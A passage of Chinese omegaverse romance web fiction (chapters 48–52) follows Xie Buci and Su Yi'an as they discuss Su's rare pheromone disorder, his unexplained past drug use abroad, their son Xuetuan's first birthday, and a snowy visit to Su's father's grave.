想找一个无信息素存在的地方,除了把苏以安彻底关在无菌医院里,安排专门的beta去给送饭,否则最后的结果都是严重过敏死亡。 这么把人关起来,暗无天日的,还不如真的死掉。 况且这是个理想状态,因为送饭的bata也不能接触带有信息素的人,一环一环下来,全都需要beta在完全没有信息素的环境下完成。 绝对无菌估计都没这么难。 “没法根治也没法预防恶化吗?” 谢不辞不知道该说什么,嘴唇动了半天,也只问出了这么一句苍白的话。 沈伊没直接回答,反而重新把问题抛到了谢不辞身上:“现在这个孩子,在你眼里又是意外吧?” “上边说的都是极少量病例中总结的,他现在怀孕了,要具体问题具体分析,我没法用药。” 沈伊停顿了一下,随后压低声音对谢不辞说道:“你先回答我一个问题,我再跟你讲后面的。” “什么?” “我真的特别好奇,你把他害成这样,他为什么不起诉你。” 谢不辞一愣。 他没想过这个问题。 确实,他也很想知道这问题的答案。 苏以安一开始一定是恨他的,所有的事情都因他而起。 而且这中间还缺了很多空白,比如他都不知道苏以安怀了他的孩子,还能是谁看不惯苏以安。 会不会那会苏以安说喜欢他的时候,刻意讨好他的时候就已经是被逼到除了来向他示弱没有别的出路了之类的。 又有没有可能还像高中那会一样,有人因为他对苏以安的态度看人下菜碟又在给苏以安制造麻烦。 沈伊没专门给他留胡思乱想的时间,继续补刀:“你信不信,现在咱俩进去问,问苏以安知不知道那能害死他的药是谁要卖给他,一定得不到任何带有否定意义的答案。” “我信。” 谢不辞有些挫败的坐在走廊椅子上,连说话的声音都变得沉闷。 苏以安很聪明,因为活到现在,是需要本事的。 可能在他们看不见的地方,苏以安连吃下那种让他得这样疾病的药,都是权衡之后的选择。 “我能做些什么吗。” 明知道得到的不会是什么他想听见的答案,可谢不辞还是多此一举的问了一句。 沈伊说什么也完全在他的意料之中:“你觉得呢。” 孕期的omega对alpha的信息素需求会变高,可加上这一类的疾病,谢不辞甚至都不是很敢再离苏以安很近,生怕真的会让苏以安出现的过敏情况。 这时病房门被重新打开,两个小护士拿着记录好的表格像沈伊汇报:“目前来看,情况是很稳定的沈医生,体温心率血压都是正常。” “好,先去查别的房,一会我去找你们。” 沈伊嘱咐完,那两个小护士就离开了。 “你也听见了,这种病初期除了发情期,情况都是乐观的,也可以像正常人一样生活。” 这话一点也没起到安慰作用,因为谢不辞就算什么都不懂,也有孕期omega信息素不稳定的常识。 病名都叫功能障碍了,信息素不稳定能是好事吗。 “那现在怎么办?” “这是医生该操心的,我觉得你现在没法离开医院,你有更糟心的问题要处理。” 谢不辞:…… 沈伊说的是对的。 苏以安刚才让他回家,说怕钟漫川带着媒体去他们家门口一哭二闹三上吊的泼脏水。 现在苏以安户口依旧在钟家。 谢不辞觉得,他更应该担心的是,钟漫川提着刀上来找苏以安,说不给钱就杀了他。 苏以安是个病号,无论谁带着恶意上来他都毫无还手之力。 更别说这种时候手里真的有钱了。 把那钱给出去,苏以安往后只会更举步维艰。 沈伊离开了以后,谢不辞坐在走廊长椅上沉思了好久,头发被拽得像鸡窝一样,蒋泽的电话拨了一遍又一遍,却都在号码拨出去之前又纠结的挂掉。 他深吸一口气,轻手轻脚的走进病房。 雪团本身已经要睡着了,感觉到谢不辞进来,又强撑着抬头看了他一眼,被苏以安给盖好小被子拍了拍,就又重新闭上了眼睛。 “我们小点声,我可以跟你谈谈吗。” 苏以安没说话,等确定雪团彻底睡着了之后才回应:“你想说什么?” “别逃避这个问题行吗。” 知道苏以安不会搭理他这种听起来就没什么用的话,谢不辞低下头,像是下定了什么决心一样,直到重新看向苏以安才开口:“我这样对你,你为什么不去告我?” 苏以安没什么表情,似乎也不意外他会这么问:“跟你旧情人打过电话了?” “什么玩意?” 这回答直接把谢不辞后边思路全打乱了,他猜过各种可能,但理解不了这跟凌望有什么关系。 “他也问你为什么不起诉我?” “嗯,问了,我没回答。” 谢不辞在没什么特殊的理由和这理由不能说之间犹豫了一下,然后开始思考他们的关系会不会让苏以安更不可能告诉他。 他很有自知之明,清楚他跟苏以安没有交情可提,提了就是作死。 “不跟他说就告诉告诉我呗?我也是当事人之一呢。” 苏以安望向谢不辞,思考了许久,却也只能回应一句:“我其实也说不太清楚。” 谢不辞是雪团的亲爸爸,他不好,雪团过得也不会好到哪里去。 苏以安也发现了,他对谢不辞的感情是有些复杂的。 现在他们也不是小孩了,懂得要为说出去的话与做出来的事情负责。 苏以安有点害怕回头看来时路,但要是非面对不可,前面那么不容易都已经一步一步走过来了,往后再艰难,也难不过以前。 况且,以前过那么苦都没觉得活不下去,现在因为跟谢不辞又玩出个孩子要死要活太丢人了。 可能也是苏以安见识少,他没什么途径去了解信息素功能障碍这种病,只觉得大部分时间都能像正常人一样生活,算不得什么大不了的。 退一万步讲,现在再给他一次机会,他也还是会跟当初做一样的选择,一样会吃下他纠结许久选出来的药。 反正都是搏命。 他知道是谁一定想让他死,也知道对方是因为什么看不惯他。 但他没和任何人讲,也不可能告诉谢不辞。 在这种方面,他就是做不到相信谢不辞,哪怕谢不辞已经有意识的在学着保护他了。 为什么玩出老二来以后那么崩溃都没选择去告谢不辞这件事,如果非要说出一个理由的话,其实苏以安觉得,对于家里多个老二这一点,他也没有想象中那么恨谢不辞。 孩子不难接受。 雪团挺漂亮挺可爱的,也很爱他,是任何人任何感情都替代不了的那种爱。 他只是讨厌谢不辞专断。 主要这么多年过去,苏以安心态很好的。 现在雪团跟着谢不辞肯定比跟着他过得好很多,他和雪团也不是见不到面,没有什么好过分担心的。 他想留下第二个孩子,也离不开谢不辞的信息素。 他知道绝大部分的抑制剂和信息素储存软糖对他都没有作用。 最好使的还得是孩子亲爸本人。 苏以安一直认为,能好好说话就没必要搞出些人尽皆知的麻烦。 如果谢不辞听不懂人话,到了不愿意管他想让他自生自灭那份上,再选择告也不是来不及。 “七八年年过去了,也谈不上恨不恨的,你当时也就十七八小屁孩,还是那种被惯坏了的少爷,你又不懂那些乱七八糟的利害关系。” “我早就说过了,你把雪团照顾好,我们之前的一切都一笔勾销。” 谢不辞能感觉到,苏以安没装,就是表面上看起来那样,真的什么都不在乎,也确实说到做到,对他态度缓和了很多。 但这不是谢不辞想表达的重点。 于是再往下接话的语气也上了急躁:“可是再生一个孩子,出什么意外的话,你会死的。” “哦,那又怎么样。” 苏以安真的不太在乎这个,活着那么辛苦,来个痛快的也不是不行。 他对这个世界没什么执念,也没什么牵挂。 谢不辞挺喜欢雪团的,再加上律法上的强制性,雪团跟的也是亲爸,谢不辞就算破产,雪团也吃不上什么苦。 所以如果生第二个孩子真的有危险,那苏以安死了孩子也没留下,就当是怕孩子一个人孤单,陪着一起走一遭。 他死了孩子留下了,方明之也不会亏待了他的孩子的。 “那因为怀了孩子不能用药,没法预防病情恶化的话,你真的会很难受的死掉。” 因为情绪激动,谢不辞也没顾上音量不音量的,吵得雪团在苏以安怀里扒开半截被子揉了揉眼睛,然后调整了下姿势继续睡。 “你要是再整要把雪团吵醒这一出你就闭嘴滚出去。” “我怎么样跟你有什么关系啊?” “咋的?怕我死了以后告你故意杀人啊?” “死前我把遗产给谁就委托谁给我代告呗?你能不能别像个神经病似的。” 苏以安以前基本没连着跟他说过四句话,虽然不太合时宜,但谢不辞居然有点开心。 “你当时怀雪团离开之前,跟我说过那么多句喜欢我,是因为走投无路,还是因为里面掺着些你自己都不愿意承认的真心?” 谢不辞倒是不在意苏以安态度恶劣,苏以安理不理他那是苏以安的事情,一点也不影响他继续往下问。 以前就知道谢不辞挺不要脸,但没苏以安想过几年过去,他这毛病还能越来越严重。 于是也没藏着掖着:“都不是。” “是我计划好拿雪团报复你以后,故意设的局,当时很清楚你不信。” “但是没关系,雪团到你手上你就信了。” 这就无异于在告诉谢不辞,前面说的一切都是唬他的,没有一句是真的,还从来没爱过,就连教雪团管他喊爸爸,也是报复他的其中一个步骤。 “我不信。” “你看,我骗得很成功吧,现在告诉你实话你反倒不相信了。” 从带着雪团回来开始,苏以安跟谢不辞所有的交流都算上,没有一个字能透露出他爱他这个信息。 不过架不住谢不辞最会脑补啊。 在谢不辞那个思想里,恨不得苏以安只要跟他活在同一个地球上都能变成,这世界上怎么会有这么巧的事情,他肯定暗恋谢不辞又不好意思说。 这次他俩面对面的沉默了许久。 谢不辞再开口说话,内容就正常多了:“这次把身体养好了还走吗。” “户口你现在也已经不用再担心了,等你好一点,雪团也就不会因为这次被吓到哭闹着一分一秒都不愿意跟你分开了。” 说这话的时候,谢不辞挺害怕听见肯定答案的。 他知道苏以安很爱雪团,但没把握苏以安会因为雪团留在这片土地上。 他是可以跟着苏以安一起走,可是每次这个想法一冒出来,他就会立马意识到—— 苏以安非走不可最主要的理由,就是不想看见他在躲他。 “我还……不知道呢,不是很想再去A国了。” “而且我爸要是知道我走了我还要把他也带走,他得气得骂我一宿。” 这对谢不辞而言已经算是个好消息了。 “你刚才还说过的,如果我把雪团照顾得很好,我们的之前就都一笔勾销。” “我要怎么保证你才肯相信,立字据还是签合同,或者你挑个你觉得靠谱的方法。” 第49章 第 49 章 这也是个苏以安从来没思考过的问题。 让谢不辞那张嘴给他随便乱吹点什么根本立不住的承诺, 还不如一开始就别挑起这个话题。 这样起码一个省点唾沫,一个耳根子清净。 而且苏以安很清楚,任何形式主义都是没有用的。 谢不辞要是真的想毁约或者产生抛弃雪团或虐待雪团的想法, 他可以有一万种方法, 绝对不是一张叫合同破纸能拦得住的。 在这种情况下, 钱都算不得保障。 因为这世界上没有绝对的事情。 就连雪团的户口也不是完全不能更改。 最开始把户口放在谢不辞名下时, 苏以安找了所有权威机关都都认证了一遍。 但走流程的时候他就知道, 谢不辞要是有心,真的不想要这个孩子,解决户口问题也无非就是过程繁琐了些而已。 是谢不辞没选择这么做,不是他做不到。 “你惦念着这码事就好了,你没什么必要向我来保证。” “也不用担心过去什么,我没有把你怎么样的能力。” 苏以安不想就这个话题讨论下去。 说这话之前,他也不是没思考过他应该做点什么来多给雪团一些保障。 但仔细想想, 不管做什么,本质上都是靠他和谢不辞两人的契约精神撑起来。 怎么做,做到什么程度, 全凭谢不辞良心。 偏偏好巧不巧的, 苏以安认识谢不辞这么多年, 从来就没觉得他有过良心。 “那不行啊,你什么都不要,你能信我这张说不出什么好话的嘴?” “你都不相信我了,凭什么觉得雪团在我手里能过好?” 谢不辞原想着,不管苏以安开什么条件他都毫不犹豫的应下。 到时候苏以安选择了不走,还是只短暂离开一段时间去放放风之类的, 他就都有借口带着孩子去苏以安面前晃悠了。 毕竟雪团是他亲儿子,有他一口吃的孩子就不可能饿着。 只要苏以安相信他, 加上之前说好的前账一笔勾销,在追老婆这件事情上,地狱难度就能立马迎刃而解。 “你又想整什么幺蛾子?” “我就不能是改邪归正吗。” 苏以安没说话,只给了谢不辞一个眼神。 虽然他们现在说这些看起来有点像开玩笑,但谢不辞觉得,就算苏以安表面上看起来再人淡如菊的,他也不肯定对以前那么多的伤害都完全不介怀。 不是谢不辞故意想揭人伤疤。 只是如果苏以安不开口,他们所有人都加起来,把A国那边地下药商都查个遍,都不一定信息素功能障碍这种罕见病的致病因素找出来。 谢不辞原以为苏以安不会再跟他说什么了,就在他思考要怎么跟苏以安委婉的商量,才能既找出当年的药,又不至于吵起来的时候,耳边忽然传来苏以安的声音。 “我相信你。” 只有这短短四个字。 不需要谢不辞任何行动或承诺,且在谢不辞曾经对他造成过无数次伤害的情况下,苏以安还能说出这样的话。 这一瞬间,苏以安什么心情谢不辞不知道,反正他是挺破防的。 “那我们说点正经的,你离开我去A国以后,都吃过什么药,药是哪里来的,那掺着违禁成分的东西是谁要给你。” 一口气问出了好几个问题。 谢不辞从没觉得自己说话可以这么有条理过。 他有心理准备这些问题不会被如数回答,但哪怕苏以安只告诉他一点消息,他都能顺着查出有用情报来。 苏以安却只淡淡开口:“我不知道。” “我不信。” 谢不辞有种强烈的直觉,觉得苏以安是在逃避。 没有理由的逃避,不是害怕得罪谁,也不是背后想杀他这个人不能被说出来。 他就是不想面对,自暴自弃。 “你最好别再问了,你不会相信,而且你处理不了。” 谢不辞有点听不懂。 他能感觉到这话就是平静的陈述事实,没有一点夹枪带棒的意思。 苏以安没有埋汰他,也不是为了拿激将法去利用他达到什么目的。 “我没有那个实力?还是我家人脉不够?” 没有得到回答。 但相对于这个,谢不辞更倾向于:“是我人际圈里的矛盾?跟我关系很好会让我左右为难的意思吗?” “嗯。” “不是你的小情人,跟你以前乱玩没有任何关系,别问了。” 第50章 第 50 章 知道苏以安不想再跟他讨论这些, 谢不辞也很听劝的没再专门纠结这个。 他有种追问下去一定得不到好结果,且会和很大一部分人都产生矛盾的直觉,所以他也没给蒋泽打电话问。 现在这个季节天气很冷, 但病房里暖气很足。 以至于不通风时间长了就会多出一种难以言喻的闷热感, 谢不辞待在病房里都需要专门去开了一条小缝的窗边坐。 雪团自苏以安住院以后就一直显得特别没有安全感, 睡觉基本都在白天, 晚上没有爸爸抱着他陪着他就会哭闹一整晚。 就导致商量今天晚上谁抱雪团成了他们两个之间最和谐的交流。 后面在医院这几天, 谢不辞几乎除了去电梯口拿家里保姆送过来的饭不会出病房。 人虽然在医院,消息却并不闭塞。 之前担心的那些乱七八糟的事情全都没有发生。 苏以安那亲爹被人寻仇捅死以后,钟家二儿子为了分家产表面上装成让人挑不出毛病的大孝子,鞍前马后的给自己爹处理后事。 钟漫川就如谢不辞预料的那般,去他家门口闹事,想来医院闹事,整出了挺大的舆论风波。 然后被以寻衅滋事的罪名请去喝茶。 得知这个消息以后, 谢不辞还悄悄给他爸公司的法务塞了钱,让他们加加班,拿名誉权再起诉钟漫川一波。 起诉过程很慢, 谢不辞也没专门跟苏以安讲, 准备等判完了再当好消息告诉他。 马上就年下了。 养病的日子挺无聊的。 中间谢不辞有专门去查过这种病的资料, 但能得到的有用消息,全来自于沈伊的博士毕业论文。 那论文通篇外语不说,还专业术语特别多,翻译了谢不辞也很难理解。 因为没什么医学基础,只能看个大概。 文章大意就是,初期确诊以后, 只要这种病不恶化就不会影响正常生活。 但目前医学技术还研究不出什么因素会导致病情恶化,也无法用药物干预或预防。 不管是沈伊还是谢不辞, 无论怎么查,线索都断在了A国鱼龙混杂的地下药品交易处。 找不出致病因素,就很难制定治疗方案。 在医院住的时间不算短了。 谢不辞和苏以安都很默契的没有让任何人进到这个病房来,一直都只有他们一家三口。 今天谢不辞是起床最早的。 离过年的日子越近,他就越焦虑。 在因为钟漫川那一茬找法务的时候,谢不辞还专门问过,这种情况是不是只要苏以安想,不需要再经过谁的同意,直接就能迁出户口自立门户。 法务那边给的答案确实是他想要的。 苏以安自己应该也知道。 不过既然是随时,那就无所谓早晚。 觉得也许是有别的打算才把迁户口这件事放在日程上,谢不辞便没再多问。 他没法确定苏以安到底是在等过年还是等雪团的一岁生日,沈伊在办公室跟他说情况稳定就可以出院的时候,他还蛮不情愿的。 总不能干等着,什么话都不说吧? 那只会等来苏以安告诉他他走了,互相珍重的纸条。 只有纸条,联系方式都不会留下。 所以在能办出院手续之前,谢不辞拎着早餐回病房,准备探一下口风。 他专门亲自跑了四条街去买苏以安随口夸过一句的包子,豆浆买的现磨,茶叶蛋还找了这边最出名的一家。 还是一家一种包装袋。 那架势整的,苏以安一看见摆在桌子上的早饭,就知道谢不辞绝对是没寻思什么好事。 但这并不影响吃。 “你想跟我说什么?” 苏以安端起那手边最近的豆浆尝了一口,然后就看见谢不辞专门替他剥了个鸡蛋递到他面前。 “其实也不是什么大不了的事情。” “我等你吃完再说也行。” 苏以安还没回应,雪团就探着小脑袋看了一眼苏以安,又看了一眼谢不辞。 随后朝谢不辞伸出小手胡乱比划,还着急得话都差点说不明白:“没给我。” 谢不辞闻言立马重新剥了个茶叶蛋给孩子,递过去之前还特别细心的给孩子把袖子挽上去,怕一整个茶叶蛋太大会噎到孩子,又专门掰成了小块。 特别像小学生犯了错专门讨好老师讨好家长的那副样子。 “你现在就说。” “嗯……就是……” “你看哈,这都要过年了,咱家雪团生日也没那么远了,第一次生日总不能敷衍吧,还得抓周呢。” “你有没有什么想法来跟我商量一下,或者你们对这种事情有没有风俗之类的?” 50-60 第51章 第 51 章 “没有吧。” 也不是说苏以安对孩子漠不关心, 只是这种事情一般都是老一辈人主张操持,年轻人没到人生这个阶段,也不可能专门去关注这些。 没有经验可谈。 再加上苏以安基本接触不到小孩子, 没有朋友结婚生子请他去婚礼或者满月酒, 谢不辞要是不告诉他, 他都不知道还有抓周这个流程。 说到这个, 也让苏以安第一次意识到, 生了个孩子是件需要专门让家长知道的大事。 就是—— 他该带雪团去看看他爸的意思。 以前想法挺幼稚的,觉得要是真的会出什么事,孩子这条人命是谢不辞背的,或者运气好还能直接一劳永逸的让谢不辞背两条人命。 几乎与当年他爸生下他时是一模一样的情况,他爸被算计背上几千万的债,也没想过用报复性的行为把他扔进钟家。 苏以安一直觉得,这是他爸不愿意示人的伤疤, 所以他从来没问过。 真的到了现在这份上,他好像也明白了,这不光是责任不责任的问题。 雪团也算是彻底磨平了他对谢不辞的怨气。 “那个……我又说错话了?” “要不把抓周这个流程省掉?咱儿子总不能一周岁了连办都不办一下吧?” “或者你直接告诉我你是怎么想的也行。” 谢不辞对怎么给孩子办周岁宴其实没什么具体的想法, 只是想起之前他妈说他抓周的时候闹笑话才回忆起还有这么个流程。 而且亲儿子一周岁, 苏以安就算不是很愿意, 他也还是要办的。 因为有一定办给豪门圈子里那些看人下菜碟的人看的成分在。 无论如何面子上都不能过不去。 在跟苏以安开口之前,谢不辞也专门思考过,如果他运气特别好,苏以安愿意把走得亲近一些的人喊过来,他要怎么表现一番。 所以流程还是要专门商量。 “我以为你会直接交给管家呢,也没什么必要特意来告诉我。” “这咋能一样呢。” 虽然确实绝大部分都是管家在操持, 但谢不辞也依旧没少操没用的心。 “你要是觉得我不够上心,我自己安排也行, 就是没法跟你保证效果。” 话是实话,除了说的时候有点子心虚。 “嗯……好像确实不需要你上心到什么都要亲力亲为的份上。” 现在离雪团的生日还有一段时间,确实没那么着急。 只是年下了,各方各面的事情都堆到一起,重要的事情就需要专门提上日程。 吃过早饭谢不辞就被派到楼下去办出院手续,留沈伊在病房里跟苏以安交代些注意事项。 综合考虑过后,还是决定什么药都不开。 楼下窗口办手续的人很多,谢不辞光是排队就排了将近半个小时。 趁着排队的间隙,他还专门联系了一下之前就查到过电话号码的他家对门那间房的房主。 客套了两句,得知对方在国外有一段时间了,便开始跟人家商量要把那房子也买下来。 蒋泽这两天才专门教过他的,人和人之间要有一定的距离感。 小别胜新婚这句话能传下来就说明是有一定道理的。 谢不辞思考过后觉得这话简直至理名言。 长时间凑在一起住在一起早晚会厌倦,隔得太远,他又不放心,毕竟苏以安不相信他,距离上逃出他可以只要有心就能见到的范围,又总会让他有一种老婆指不定什么时候就没了的不确定感。 对门就刚刚好。 而打电话跟房主商量把房子买下来的过程中,谢不辞还打听到,苏以安没有跟人家签租房合同。 房租倒是没少交,直接就是一年的。 于是多嘴问了一句以后,谢不辞便得知,房主的男朋友,是方明之。 那苏以安最开始知道他住对门也没立马搬走的原因不就出来了吗。 多给房租是不想因为这个欠人情,短时间内又找不到比这里更合适更安全的住所。 顺带着,还不小心戳破了谢不辞想悄悄变成苏以安房东的幻想。 手续办好以后,谢不辞还专门打电话给家里的司机,让人家在住院部楼底下等着,他乘电梯上楼去帮苏以安拎行李抱孩子。 他没太注意自己排了多长时间的队,等在走廊里听见病房内传来说话声先是一愣。 随后在门口清晰的听见了沈伊跟苏以安的交谈:“反正你就算今天去迁户口,年前也不可能拿到签证,过年这种靠热闹撑起来的节日,我也不想让你自己一个人,显得那么凄惨。” “我爸妈对你没有意见,带你过去的话,可以少喊点人,再不济,我单独跟你过也行。” 没听见苏以安的回应,谢不辞就要坐不住了。 他以为沈伊那么忙,最多也就是嘱咐几句,再跟苏以安唠两分钟。 毕竟沈伊是主任,后面还有一大堆病人等着呢。 这样谢不辞才敢慢慢悠悠的排队。 结果一个没注意,家差点被偷了。 他走进病房,把手里拿的一大堆缴费凭证的纸质单子随便扔在床头柜上,朝沈伊开口:“都自己过自己的了,沈医生什么立场邀请我孩子爸跟你过年啊,这多冒昧。” “孩子爸肯定要跟孩子一块过,这就不劳你操心了哈。” 说完他还凑到沈伊跟前,特别自来熟的拍了拍对方的肩膀:“他要是真想跟你过,何至于掰扯半个小时也没答应你。” “这种事情强求不来的道理,我不讲沈医生也明白的对吧?” 谢不辞还专门在医生两个字上加重了语气,就好像生怕沈伊听不出他在阴阳怪气一般。 沈伊有些欲言又止的看向苏以安,随后谢不辞也象征性的回头往病床那个方向看了一眼。 “我又不是不会找地方过年,我都没急你们急什么?” 苏以安把雪团递给谢不辞抱,然后自己起来找厚外套穿。 紧接着谢不辞特别有眼色的把把沈伊推出了病房外,自己也抱着孩子出去,还顺手轻轻关上了病房门。 “你再说他就要急了,这不还没到过年日子呢吗,他不想谈就先别说。” 谢不辞觉得他们吵吵嚷嚷了这么多年不是一点好处都没有。 起码苏以安要跟沈伊保持礼貌,有的话不能说太直白,跟他就完全不一样了。 就比如现在,苏以安是不是想骂他,谢不辞都不用细看就能猜到。 沈伊确实很忙,没时间跟谢不辞拌嘴就被走廊里的护士喊走。 可能惦记着走廊里没那么暖和,苏以安也没让谢不辞带着孩子等很长时间,换了个外套就出来了,什么也没拿。 因为病房里的日用品什么的,基本都是从他就住院开始,谢不辞重新给买的。 没有意义重大一定要带走的东西,连两件随身的衣服都没有。 后面回去路上,两人一句话也没说,雪团在谢不辞怀里也安安静静的。 今天天气不算很好,虽然没到阴沉沉那份上,却也看不见太阳。 到了小区以后,两人就在走廊里分道扬镳。 孩子被留在了谢不辞手里。 想着苏以安可能是需要自己安静一会,谢不辞也没再打扰。 回过头关上自己家门,谢不辞就给蒋泽打了个电话过去。 本意是想问问这种情况,他应该怎么做才能不招人烦的拉进一下他俩之间的关系,结果蒋泽以为他是查到了之前A国地下药厂想杀了苏以安那老板是谁,专门过来质问。 所以谢不辞打的第一个电话直接被挂掉。 他发问号过去,然后收到蒋泽的回复:[这种事情我也很难办,你给我打电话没用。] 谢不辞反问是什么事,蒋泽才重新把电话拨回来。 但开口也避重就轻,只问谢不辞原本找他是想说点什么。 “本来没什么正经事,但你这个反常的行为让我觉得,咱俩可能需要好好说道说道。” 蒋泽犹豫了半天,然后告诉谢不辞,什么事情都等先过个好年再说。 知道谢不辞极有可能拿凭什么坏人能过好年这套说辞来反驳,所以蒋泽在谢不辞张嘴之前解释:“跟苏以安有关的事,你也不能不问他不跟他商量。” “你当然可以私下悄悄办点什么,再挂上替苏以安出口气的名头,但是你确定你摸清他所有乱七八糟的圈子吗。” “你能保证不会再给他造成伤害吗。” 谢不辞没法反驳。 蒋泽很了解他,知道他听见这种消息一定会脾气上头冲动办事。 背后想害死苏以安的人嚣张,都嚣张好几年了,现在才说等不了这几天吗。 其实说到底,也无非是连蒋泽都看不过去,想让苏以安先消停几天过个好年。 而且雪团的生日在年后,差不了几个月。 话题有些沉重,两人都对着手机屏幕沉默了半天。 谢不辞叹了口气,继续下一个话题:“那你有没有什么好方法,能让我说服他来跟我们一块过年?” 他问完了以后,蒋泽给了他一个特别简单直白的办法:“把嘴闭上。” 除了一两句可有可无的嘱咐,什么都不要说不要问。 然后谢不辞不理解,反问道:“哪有追人不靠嘴的?” “你家雪团不会说话,跟你表达情感最直接的方式就是,能接受你就让你抱,不能就不让碰,你过去就哭。” “你不知道孩子喜欢什么不喜欢什么,再加上孩子挑食,然后你一张嘴,就是孩子又没告诉我我应该怎么做。” “他不告诉你,你就看他饿死呗?” 谢不辞没迟钝到听不出来这话是反话的程度,然后挠了挠脑袋,有些不确定的回问:“我没说呀,他不会说话,那我就挨个试嘛。” “那么多种蔬菜水果,那么多的零食品牌,再不济,还有那么多不一样的厨子,总有一个能对得了孩子的口味吧?” 说到这,蒋泽还以为他开窍了,沉默了几秒等着他继续往下说。 结果等了半天都没等到下文,反倒他没开口谢不辞还有点怀疑自己:“不是这个意思?那我应该怎么做?” …… “就是这个意思。” 苏以安不相信他不愿意跟他说话,不也是同样的道理吗。 他不说,谢不辞就去看。 都住对门了,隔得那么近。 看苏以安有没有点外卖,有没有出去买吃的,看他自己选吃什么的时候买什么买的比较多,也不算多困难的事情。 要是觉得这种不靠谱,那就谢不辞带着孩子吃什么,到了饭点也去给苏以安送什么。 男人一张嘴,光说不做的多了去了。 换个思路想想,谢不辞老老实实的做点什么,把嘴闭上,不就超越了百分之八十的竞争者了吗。 但话都说到这份上了,谢不辞也还是不明白:“那我去送饭他也不会接受啊。” “……接不接受是他的事,送不送是你的事。” 其实蒋泽没好意思直接埋汰,要真嘴快一点,估计就该直接让他干过什么自己心里有点数了。 追人总得拿出点追人的诚意来吧。 挂掉电话,谢不辞看了眼时间。 刚好快到午饭点。 他立马给雪团冲了奶粉,然后在孩子吃饭的时候,凑到旁边。 开口就是忽悠:“宝宝,你肯定想见你爸爸对不对?” “咱一会到对门去,你把提前准备好的吃的递给他,然后抱着他脖子替我哄哄他行不行。” 雪团抬头看了谢不辞一眼,搓了搓手里抱着的奶瓶,思考了几秒才搭理他:“带我找爸爸。” “对,一会就带你找你爸去。” 觉得孩子很上道不需要刻意教,谢不辞也没跟雪团多唠叨。 在转过身准备去安排一下给苏以安送什么饭吃的那一瞬间,谢不辞忽然又意识到了什么,重新凑回孩子身边。 “儿子哥,咱做事能有点分寸吗?” “你应该是不讨厌我这个爸爸的对吧?那你可别抱着你亲爸就不撒手,咱提前说好,我都折腾这么大一圈了,不能让我老婆孩子都落不到吧?” 这种时候,太有可能苏以安一高兴就把孩子抱走了。 然后他就会变成一个可以存在但没啥用的打款机。 除了每个月固定打钱的日子,苏以安都不会跟他说话。 或许最坏的打算应该是,到了打钱的日子他非要手动档,苏以安不跟他说话他俩就一直较劲。 于是两个月以后,他就可以直接接到苏以安委托律师的电话,听见律师用公事公办的语气告诉他,再不给苏先生打孩子的抚养费,他们就会采取一些法律手段来维护权益。 “你别不说话啊。” “你跟我保证。” 这会雪团看都不看他一眼,还想嫌他吵一般转过身子去,拒绝跟他交流。 “不是哥们?你可以跟我整表里不一的渣男那一套,你好歹骗我一下子啊。” 雪团还是不搭理谢不辞。 也好像根本不怕谢不辞不让他见苏以安一样,依旧看都不带多看他一眼的。 “真的,咱俩商量商量。” “你看我也不是对你不好或者虐待你了,换那些乱七八糟的后爸,还不如我呢对吧?” 这下谢不辞知道变通了,孩子不看他,他就围着椅子转一圈,转到孩子面朝的方向去。 只是后面的规划还没来得及说出口,谢不辞就听见走廊里转来关门的声音。 这两天天气都不好。 回来的时候是阴天,但天气预报说有暴雪,指不定什么时候下。 谢不辞毫不犹豫的抓起挂在门口鞋柜子上的外套的,又给雪团拿了套上了厚衣服,然后追出房门。 只是这属于意外情况,他还是不可避免的没赶上跟苏以安坐同一趟电梯。 有暴雪,谢不辞肯定是不放心苏以安自己一个人出门的。 但他更不放心苏以安随便喊个看起来就不靠谱的二愣子说要陪着苏以安一起去。 谢不辞抱着孩子着急忙慌的走到楼下,结果在单元楼门口看见手里拿着烟好像专门在等他的苏以安。 烟不是点着的,见谢不辞出来,苏以安也没什么特别的反应,只把烟收进口袋里。 见他欲言又止的,谢不辞率先开口:“想去哪,我带你。” 谨记着蒋泽跟他讲过的那句闭嘴,谢不辞什么都没问,只把雪团交给苏以安,然后自己上楼找车钥匙。 苏以安没拒绝他,但也一个字都不想跟他多说。 最主要的是,连目的地都没直接跟他讲,只在车子驶出小区时拿左拐右拐给谢不辞指路。 路途不近,谢不辞主观上觉得,起码走了四十多分钟。 而且越走越偏僻。 觉得可能是苏以安想回以前的老家看看,谢不辞也没多说什么。 到了地方,苏以安还专门喊谢不辞下车,抱着孩子坐后排待着。 不说去干什么,也不让谢不辞跟着。 第52章 第 52 章 这地方看起来挺普通的, 算不得荒得很有标志性,却也找不出什么建筑。 甚至连个小卖部的牌子的平房都看不见。 而且苏以安下车连一分钟都没有就消失在了谢不辞的视线范围内。 怕这里不太安全,谢不辞专门给方明之发了定位过去问这是什么地方。 然后觉得外面有点冷, 不方便把雪团带下去找人, 谢不辞就又打电话问方明之能不能也过来一趟。 得到的回复是, 苏以安他爸葬在这里。 谢不辞仔细观望了一下, 这算不上墓园, 也不是那种荒郊野外的坟地,没有隆起的土堆。 刚打电话的时候就说过,方明之离这里不近,起码也需要一个小时的车程。 可能跟运气也带点关系,今天的天气真的很差。 上午他们从医院回家,还只是看不见太阳,这会呼啸的寒风像是卷着刀片一样, 刮在脸上生疼。 现在没开车窗,风声被隔绝在外不少,但卷起来的沙尘和碎石砸在车窗上, 那噼里啪啦的声音还是让人难以忽视。 雪团可能还没这么直观的感受过恶劣天气, 抓着谢不辞的袖子不松手, 低着头缩进谢不辞大衣里不敢往车窗外看。 饶是如此也还是小声拽着谢不辞问:“我爸爸呢?” “我也有点想知道他在哪。” 这样的天气在外面待一个小时,铁打的人也得冻出点毛病。 而且保不齐什么时候就会来点雪浇下来。 这虽然地理位置偏僻了一些,但还不算离开他们那座城市。 对谢不辞来讲,喊点人过来算不得什么难事,只不过解决不了问题。 苏以安是去看他爸的,不愿意人打扰, 雪团怕这种六级大风的天气,身边不能没有熟人, 不能两个爸爸都不在。 谢不辞一边哄着雪团,一边给苏以安发消息。 有心理准备对方一条都不会看不会回,干等着却也还是坐立难安。 在这一个小时的时间里,谢不辞刷新了无数遍手机上的天气信息,看什么时候会下雪。 可越是这种时候,天气预报准不准越得看命。 雪比方明之先到。 刚看见糊到车窗上的小雪花时,雪团还问谢不辞那是什么。 问可不可以给爸爸看看,问爸爸什么时候回来。 这已经是谢不辞印象里,雪团跟他说话最多的一次了。 雪团问他的每个问题,他都很耐心的回答,也有一搭没一搭的跟孩子说着话,商量着等方明之来了,让雪团和方明之待在车上。 车上有暖风,有之前专门给雪团准备的小毯子,也有前阵子怕忽然降温而专门留下的厚衣服。 他不用担心会冻到孩子。 